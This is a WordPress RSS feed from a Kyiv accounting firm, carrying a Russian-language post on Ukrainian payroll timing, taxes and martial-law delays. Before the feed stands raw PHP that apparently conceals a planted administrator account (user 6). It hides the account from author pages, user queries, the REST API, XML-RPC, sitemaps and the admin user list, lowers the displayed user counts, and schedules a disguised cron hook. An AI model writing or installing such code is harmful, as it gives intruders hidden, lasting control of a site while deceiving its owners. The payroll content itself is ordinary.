add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 6;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 6 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 6;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 6;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 6;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 6;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-6{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Начисление заработной платы – Assets</title>
	<atom:link href="https://assets-buh.com.ua/ru/tag/narahuvannya-zarobitnoyi-plati/feed/" rel="self" type="application/rss+xml" />
	<link>https://assets-buh.com.ua/ru</link>
	<description>Бухгалтерские услуги, сопровождение для ООО и ФЛП в Киеве</description>
	<lastbuilddate>Thu, 05 Feb 2026 11:39:34 +0000</lastbuilddate>
	<language>ru-RU</language>
	<sy:updateperiod>
	hourly	</sy:updateperiod>
	<sy:updatefrequency>
	1	</sy:updatefrequency>
	<generator>https://wordpress.org/?v=5.7.15</generator>
	<item>
		<title>Как правильно выплачивать зарплату наемным работникам</title>
		<link>http://assets-buh.com.ua/ru/kak-pravilno-viplachuvaty-zarplatu-najmanim-pratsivnikam/</link>
					<comments>http://assets-buh.com.ua/ru/kak-pravilno-viplachuvaty-zarplatu-najmanim-pratsivnikam/#respond</comments>
		
		<dc:creator><![CDATA[it4u]]></dc:creator>
		<pubdate>Thu, 05 Feb 2026 11:37:21 +0000</pubdate>
				<category><![CDATA[Кадри]]></category>
		<category><![CDATA[Усі]]></category>
		<category><![CDATA[ФОП]]></category>
		<category><![CDATA[Наймані працівники]]></category>
		<category><![CDATA[Нарахування заробітньої плати]]></category>
		<category><![CDATA[Нарахування зп ФОП]]></category>
		<guid ispermalink="false">https://assets-buh.com.ua/?p=4294</guid>

					<description><![CDATA[<p>Основные требования (ст. 115 КЗоТ): выплата в рабочие дни; не реже двух раз в месяц: аванс и вторая выплата; между авансом и второй выплатой должно быть не более 16 календарных дней; окончательный расчет должен быть не позднее 7 числа после завершения месяца, за который платится зарплата. Какие даты обычно выбирают для выплаты ЗП: […]</p>
<p>The post <a rel="nofollow" href="http://assets-buh.com.ua/ru/kak-pravilno-viplachuvaty-zarplatu-najmanim-pratsivnikam/">Як правильно виплачувати зарплату найманим працівникам</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua/ru">Assets</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h5><b>Основные требования (ст. 115 КЗоТ):</b></h5>
<p>&nbsp;</p>
<ul>
<li style="font-weight: 400;" aria-level="1"><span style="font-weight: 400;">выплата в рабочие дни;</span></li>
<li style="font-weight: 400;" aria-level="1"><span style="font-weight: 400;">не реже двух раз в месяц: </span><span style="font-weight: 400;">аванс и вторая выплата </span><span style="font-weight: 400;">;</span></li>
<li style="font-weight: 400;" aria-level="1"><span style="font-weight: 400;">между</span><span style="font-weight: 400;"> авансом и второй выплатой должно быть</span><span style="font-weight: 400;"> не более 16 календарных дней;</span></li>
<li style="font-weight: 400;" aria-level="1"><span style="font-weight: 400;">окончательный расчет должен быть не позднее 7 числа после завершения месяца, за который платится зарплата.</span></li>
</ul>
<p><span style="font-weight: 400;">Какие даты обычно выбирают для выплаты ЗУ: 15 и 31 число или 7 и 22 числа.  </span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;">Разберем на примере января:</span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;">– если аванс выплачивается 15 января, то вторая половина ЗП должна быть не позднее 31 января, то есть нужно, чтобы прошло не более 16 дней после выплаты аванса.</span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;">– если аванс за январь выплачивается 20-22 января, то вторая половина должна быть не позднее 5-7 февраля соответственно. А аванс за февраль: 20-22 февраля</span><span style="font-weight: 400;">о.</span></p>
<p><span style="font-weight: 400;">Можно установить конкретные даты выплаты, но их нужно прописать в колдоговоре или Положении об оплате труда. Мы считаем, что удобнее выбрать 15 и 31 число, чтобы каждый раз не рассчитывать даты. </span></p>
<p><span style="font-weight: 400;">Если день выплаты зарплаты это выходной или праздник, </span><span style="font-weight: 400;">то</span><span style="font-weight: 400;"> зарплата выплачивается накануне</span></p>
<p><span style="font-weight: 400;">  </span></p>
<h5><b>Налоги с зарплаты: НДФЛ, ВЗ и ЕСВ</b></h5>
<p>&nbsp;</p>
<p><span style="font-weight: 400;">Все налоги платит работодатель, но НДФЛ и ВЗ вычитается из оклада и на руки работник получает меньше. А ЕСВ считается от общего оклада и он не уменьшает оклад.  </span><a href="https://t.me/assets_buh/986"><span style="font-weight: 400;">Здесь</span></a><span style="font-weight: 400;"> мы расписали пример с цифрами. </span></p>
<p><span style="font-weight: 400;">Что касается распределения налогов на практике – это происходит по-разному: у каждого работодателя есть собственные договоренности с работниками, потому что часть ЗП могут доплачивать отдельно. Но главное придерживаться уплаты налогов в бюджет по официальному окладу.</span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;">Налоги обычно оплачиваются общей суммой всех работников при выплате зарплаты. Некоторые работодатели могут платить ЗП наличными, и в этот же день – должны быть уплачены налоги. Если ЗП перечислять на карты, то без уплаты налогов банк не проведет платежи по выплате зарплаты. </span></p>
<p>&nbsp;</p>
<h5><b>Особенности выплаты з/п в условиях военного положения</b></h5>
<p>&nbsp;</p>
<p><span style="font-weight: 400;">Работодатель обязан пытаться платить зарплату вовремя. Если задержка из-за боевых действий или форс-мажора, ответственность не применяется, но обязанность выплатить зарплату остается. Также помните, что при проверке, если вы ссылаетесь на форс-мажор, у вас должна быть куча документов с подтверждением. Дешевле все пытаться платить вовремя.</span></p>
<p><span style="font-weight: 400;">Если </span><span style="font-weight: 400;">не хотите</span> <span style="font-weight: 400;">считать</span><span style="font-weight: 400;"> сроки и </span><span style="font-weight: 400;">нет</span><span style="font-weight: 400;"> рисковать штрафами </span><span style="font-weight: 400;">делегируйте</span><span style="font-weight: 400;"> кадровый учет нам, мы закроем все под ключ.</span></p>
<p class="p1">Больше информации о ФЛП можно узнать в нашем телеграмм канале <a href="https://t.me/assets_buh"><span class="s1">ссылка здесь</span></a>.</p>
<p class="p1">Если Вам нужна платная консультация или вы ищете бухгалтера для сопровождения ФЛП или ООО, обращайтесь за <span class="s1"><a href="https://t.me/manager_assets1">ссылкой</a>.</span></p><p>The post <a rel="nofollow" href="http://assets-buh.com.ua/ru/kak-pravilno-viplachuvaty-zarplatu-najmanim-pratsivnikam/">Як правильно виплачувати зарплату найманим працівникам</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua/ru">Assets</a>.</p>
]]></content:encoded>
					
					<wfw:commentrss>http://assets-buh.com.ua/ru/kak-pravilno-viplachuvaty-zarplatu-najmanim-pratsivnikam/feed/</wfw:commentrss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>